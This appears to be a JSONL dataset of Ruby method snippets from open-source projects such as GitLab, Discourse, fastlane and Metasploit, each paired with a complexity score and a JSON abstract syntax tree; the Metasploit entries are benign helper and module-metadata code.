{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/report_line_items/sales_total.rb","start_line":32,"raw_source":"def promo_total\n        record.display_promo_total\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"promo_total\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"display_promo_total\"]}]}","id":"fc196fd0-a000-4c0d-812a-9d8e52b9ad3a"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/importers/importer_factory.rb","start_line":38,"raw_source":"def post_importer\n      PostImporter.new(\n        @lookup,\n        text_processor,\n        attachment_importer,\n        poll_importer,\n        permalink_importer,\n        @settings,\n      )\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"post_importer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostImporter\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@lookup\"]},{\"type\":\"send\",\"children\":[null,\"text_processor\"]},{\"type\":\"send\",\"children\":[null,\"attachment_importer\"]},{\"type\":\"send\",\"children\":[null,\"poll_importer\"]},{\"type\":\"send\",\"children\":[null,\"permalink_importer\"]},{\"type\":\"ivar\",\"children\":[\"@settings\"]}]}]}","id":"7ee97e5b-9d84-4a10-b43c-1c3dec42943f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/security_compliance_menu.rb","start_line":10,"raw_source":"def configure_menu_items\n          return false unless can?(context.current_user, :access_security_and_compliance, context.project)\n\n          add_item(configuration_menu_item)\n\n          true\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_user\"]},{\"type\":\"sym\",\"children\":[\"access_security_and_compliance\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"add_item\",{\"type\":\"send\",\"children\":[null,\"configuration_menu_item\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"5518ec98-ac44-48eb-971b-74a4b78ae331"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/scan/lib/scan/detect_values.rb","start_line":269,"raw_source":"def self.detect_destination\n      if Scan.config[:destination]\n        # No need to show below warnings message(s) for xcode13+, because\n        # Apple recommended to have destination in all xcodebuild commands\n        # otherwise, Apple will generate warnings in console logs\n        # see: https://github.com/fastlane/fastlane/issues/19579\n        return if Helper.xcode_at_least?(\"13.0\")\n\n        UI.important(\"It's not recommended to set the `destination` value directly\")\n        UI.important(\"Instead use the other options available in `fastlane scan --help`\")\n        UI.important(\"Using your value '#{Scan.config[:destination]}' for now\")\n        UI.important(\"because I trust you know what you're doing...\")\n        return\n      end\n\n      # building up the destination now\n      if Scan.building_mac_catalyst_for_mac?\n        Scan.config[:destination] = [\"platform=macOS,variant=Mac Catalyst\"]\n      elsif Scan.devices && Scan.devices.count > 0\n        # Explicitly run simulator in Rosetta (needed for Xcode 14.3 and up)\n        # Fixes https://github.com/fastlane/fastlane/issues/21194\n        arch = \"\"\n        if Scan.config[:run_rosetta_simulator]\n          arch = \",arch=x86_64\"\n        end\n\n        Scan.config[:destination] = Scan.devices.map { |d| \"platform=#{d.os_type} Simulator,id=#{d.udid}\" + arch }\n      elsif Scan.project && Scan.project.mac_app?\n        Scan.config[:destination] = min_xcode8? ? [\"platform=macOS\"] : [\"platform=OS X\"]\n      end\n    end","complexity_score":55.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"detect_destination\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destination\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"xcode_at_least?\",{\"type\":\"str\",\"children\":[\"13.0\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"It's not recommended to set the `destination` value directly\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Instead use the other options available in `fastlane scan --help`\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using your value '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destination\"]}]}]},{\"type\":\"str\",\"children\":[\"' for now\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"because I trust you know what you're doing...\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"building_mac_catalyst_for_mac?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"destination\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"platform=macOS,variant=Mac Catalyst\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"devices\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"devices\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_rosetta_simulator\"]}]},{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"str\",\"children\":[\",arch=x86_64\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"destination\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"devices\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"platform=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"os_type\"]}]},{\"type\":\"str\",\"children\":[\" Simulator,id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"udid\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"arch\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"project\"]},\"mac_app?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"destination\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"min_xcode8?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"platform=macOS\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"platform=OS X\"]}]}]}]},null]}]}]}]}]}","id":"fd6be464-ceb7-4482-a747-b0cffe966525"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/summarization/strategies/hot_topic_gists.rb","start_line":7,"raw_source":"def type\n          AiSummary.summary_types[:gist]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiSummary\"]},\"summary_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gist\"]}]}]}","id":"c0e1614c-f753-466c-81b7-802522ab129c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/pipelines/wiki_pipeline.rb","start_line":40,"raw_source":"def url_from_parent_path(parent_path)\n          wiki_path = parent_path + \".wiki.git\"\n          root = context.configuration.url\n          Gitlab::Utils.append_path(root, wiki_path)\n        end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"url_from_parent_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wiki_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_path\"]},\"+\",{\"type\":\"str\",\"children\":[\".wiki.git\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"root\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"configuration\"]},\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"append_path\",{\"type\":\"lvar\",\"children\":[\"root\"]},{\"type\":\"lvar\",\"children\":[\"wiki_path\"]}]}]}]}","id":"b552d94c-8717-410a-8cbd-e853084029d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/user_settings/ssh_keys_controller.rb","start_line":52,"raw_source":"def key_params\n      params.require(:key).permit(:title, :key, :usage_type, :expires_at)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"key_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"usage_type\"]},{\"type\":\"sym\",\"children\":[\"expires_at\"]}]}]}","id":"8714c8ac-c99f-4d66-8243-a701b921828c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deployment.rb","start_line":452,"raw_source":"def tags(limit: 100)\n    strong_memoize_with(:tag, limit) do\n      project.repository.refs_by_oid(oid: sha, limit: limit, ref_patterns: [Gitlab::Git::TAG_REF_PREFIX])\n    end\n  end","complexity_score":7.45,"ast_json":"{\"type\":\"def\",\"children\":[\"tags\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize_with\",{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"refs_by_oid\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oid\"]},{\"type\":\"send\",\"children\":[null,\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_patterns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"TAG_REF_PREFIX\"]}]}]}]}]}]}]}","id":"01dfef8b-f2df-4b1b-92c9-d234c757617b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/msu_finder.rb","start_line":96,"raw_source":"def main\n    cli = PatchFinder::MSU.new(verbose: true)\n    links = cli.find_msu_download_links(args)\n    if args[:destdir]\n      print_status(\"Download links found: #{links.length}\")\n      print_status('Downloading files, please wait...')\n      download_files(links, args[:destdir])\n    else\n      print_status('Download links found:')\n      print_line(links * \"\\n\")\n    end\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"main\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PatchFinder\"]},\"MSU\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verbose\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"links\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"find_msu_download_links\",{\"type\":\"send\",\"children\":[null,\"args\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destdir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Download links found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Downloading files, please wait...\"]}]},{\"type\":\"send\",\"children\":[null,\"download_files\",{\"type\":\"lvar\",\"children\":[\"links\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destdir\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Download links found:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"*\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]}","id":"7f716072-9b5a-4668-ac37-287d72e85f2d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/exclusive_lease.rb","start_line":171,"raw_source":"def ttl\n      Gitlab::Redis::SharedState.with do |redis|\n        ttl = redis.ttl(@redis_shared_state_key)\n\n        ttl if ttl > 0\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ttl\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ttl\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"ttl\",{\"type\":\"ivar\",\"children\":[\"@redis_shared_state_key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ttl\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"ttl\"]},null]}]}]}]}","id":"03c2eda0-d9ad-458b-89aa-d702f567c792"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/proxy/vuln_data_proxy.rb","start_line":50,"raw_source":"def delete_vuln(opts)\n    begin\n      self.data_service_operation do |data_service|\n        data_service.delete_vuln(opts)\n      end\n    rescue => e\n      self.log_error(e, \"Problem deleting vuln\")\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_vuln\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data_service_operation\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_service\"]},\"delete_vuln\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_error\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Problem deleting vuln\"]}]}]},null]}]}]}","id":"af957dd4-64e5-4da0-bc16-fc381b683bbf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/llmnr/query.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'LLMNR Query',\n        'Description' => %q{\n          This module sends LLMNR queries, which are really just normal UDP DNS\n          queries done (usually) over multicast on a different port, 5355.\n          Targets other than the default RHOSTS' 224.0.0.252 should not respond\n          but may anyway.\n        },\n        'Author' => [\n          'Jon Hart <jon_hart[at]rapid7.com>'\n        ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"LLMNR Query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module sends LLMNR queries, which are really just normal UDP DNS\\n\"]},{\"type\":\"str\",\"children\":[\"          queries done (usually) over multicast on a different port, 5355.\\n\"]},{\"type\":\"str\",\"children\":[\"          Targets other than the default RHOSTS' 224.0.0.252 should not respond\\n\"]},{\"type\":\"str\",\"children\":[\"          but may anyway.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jon Hart <jon_hart[at]rapid7.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"8ddaad43-59b9-4033-981c-bebea9364c91"}
{"repo_name":"flog","file_path":"./repos/flog/test/test_flog.rb","start_line":405,"raw_source":"def test_process_iter_dsl_namespaced\n    # namespace :blah do\n    #   task :woot => 42 do\n    #     something\n    #   end\n    # end\n\n    sexp = s(:iter,\n             s(:call, nil, :namespace, s(:lit, :blah)),\n             nil,\n             s(:iter,\n               s(:call, nil, :task, s(:hash, s(:lit, :woot), s(:lit, 42))),\n               nil,\n               s(:call, nil, :something)))\n\n    @klass, @meth = \"namespace(blah)::task\", \"woot\"\n\n    score = 3.3\n    hash  = {\n      \"namespace(blah)::task#woot\" => {\n        :something  => 1.0,\n        :magic_number => 0.3,\n        :task       => 1.0,\n      },\n      \"namespace#blah\" => {\n        :namespace => 1.0,\n      },\n    }\n\n    setup\n    @flog.process sexp\n    @flog.calculate_total_scores\n\n    assert_equal hash, @flog.calls\n    assert_in_delta score, @flog.total_score\n  end","complexity_score":27.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_process_iter_dsl_namespaced\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sexp\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"iter\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"blah\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"iter\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"woot\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[42]}]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"something\"]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@klass\"]},{\"type\":\"ivasgn\",\"children\":[\"@meth\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"namespace(blah)::task\"]},{\"type\":\"str\",\"children\":[\"woot\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"score\",{\"type\":\"float\",\"children\":[3.3]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"namespace(blah)::task#woot\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"something\"]},{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"magic_number\"]},{\"type\":\"float\",\"children\":[0.3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task\"]},{\"type\":\"float\",\"children\":[1.0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"namespace#blah\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"float\",\"children\":[1.0]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"setup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"process\",{\"type\":\"lvar\",\"children\":[\"sexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"calculate_total_scores\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"calls\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_in_delta\",{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"total_score\"]}]}]}]}","id":"846c2394-f7fb-4faa-93c7-94df8ef10c66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/experiment_feature_rollout_spec.rb","start_line":113,"raw_source":"def run_cycle(experiment, **context)\n        experiment.instance_variable_set(:@_assigned_variant_name, nil)\n        experiment.context(context) if context\n\n        begin\n          experiment.cache.delete\n        rescue StandardError\n          nil\n        end\n\n        counts[experiment.assigned.name] += 1\n      end","complexity_score":9.95,"ast_json":"{\"type\":\"def\",\"children\":[\"run_cycle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"experiment\"]},{\"type\":\"kwrestarg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@_assigned_variant_name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"cache\"]},\"delete\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counts\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"assigned\"]},\"name\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"74245fb7-dd0b-435c-85b0-3e6399d0884e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":206,"raw_source":"def self.tag_list_to_raw(tag_list)\n    tag_list.sort.map { |tag_name| \"##{tag_name}\" }.join(\", \")\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tag_list_to_raw\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_list\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_list\"]},\"sort\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}","id":"b3136a9e-83f7-4ef2-89ee-53a591952fde"}
